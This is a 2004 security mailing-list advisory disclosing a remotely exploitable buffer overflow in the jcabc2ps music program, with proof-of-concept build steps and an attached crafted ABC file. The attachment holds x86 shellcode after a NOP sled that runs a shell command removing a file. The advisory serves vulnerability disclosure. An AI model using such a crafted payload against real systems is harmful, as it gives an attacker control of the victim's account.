Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm
Delivered-To: mailing list securesoftware@list.cr.yp.to
Received: (qmail 58559 invoked by uid 1017); 15 Dec 2004 08:33:25 -0000
Date: 15 Dec 2004 08:33:25 -0000
Message-ID: <20041215083325.58558.qmail@cr.yp.to>
Mail-Followup-To: securesoftware@list.cr.yp.to,
  chambers@users.sourceforge.net
Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html.
From: "D. J. Bernstein" <djb@cr.yp.to>
To: securesoftware@list.cr.yp.to, chambers@users.sourceforge.net
Subject: [remote] [control] jcabc2ps switch_voice() overflows t1 buffer
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="opJtzjQTFsWo+cga"
Content-Disposition: inline


--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Tom Palarz and Limin Wang, two students in my Fall 2004 UNIX Security
Holes course, have discovered a remotely exploitable security hole in
jcabc2ps. I'm publishing this notice, but all the discovery credits
should be assigned to Palarz and Wang.

You are at risk if you take an ABC file from an email message (or a web
page or any other source that could be controlled by an attacker) and
feed that document through jcabc2ps. Whoever provides the ABC file then
has complete control over your account: she can read and modify your
files, watch the programs you're running, etc.

The jcabc2ps documentation does not tell users to avoid taking input
from the network. Many web pages offer ABC files for public consumption.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   mkdir jcabc2ps
   cd jcabc2ps
   wget http://trillian.mit.edu/~jc/music/abc/src/jcabc2ps-20040902.tar.gz
   gunzip < jcabc2ps-20040902.tar.gz | tar -xf -
   make

to download and compile the jcabc2ps program, version 20040902
(current). Then change your environment so that the total environment
size, as reported by printenv|wc -c, is exactly 333; this particular
proof-of-concept attack allows only a very small range of environment
sizes. Then save the file 74.abc attached to this message, and type

   ./jcabc2ps 74.abc > 74.ps

with the unauthorized result that a file named x is removed from the
current directory.

Here's the bug: In parse.c, switch_voice() copies any amount of data
into the 201-byte t1[] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="74.abc"
Content-Transfer-Encoding: quoted-printable

X: 1
T:My New Tune
K:Bb
L:1/4
V:1=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=EBrY=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=08=83=C2=08=
=89Q=0C=83=C2=03=89Q=10=89A=14=83=C0<=83=C0=01=88A=1C1=C0=83=C01=83=C0	=88A=
!1=C0=88A*=88A2=88A5=83=C0=10=83=C0=10=88A81=C0I=88A;A=83=C0=10=83=C0=1E=88=
A<1=C0Q=83=C1=08Q=83=C1#Q=83=C0;P=CD=801=C0P@P=CD=80=E8=89=FF=FF=FFabcdefgh=
ijklmnopqrstuvwxPATH!/bin!/usr/bin!/bin/sh!-c!rm!xK^u=BF=BF^u=BF=BF^u=BF=BF=
=E0=91=0B=08=E0=91=0B=08=E0=91=0B=08

--opJtzjQTFsWo+cga--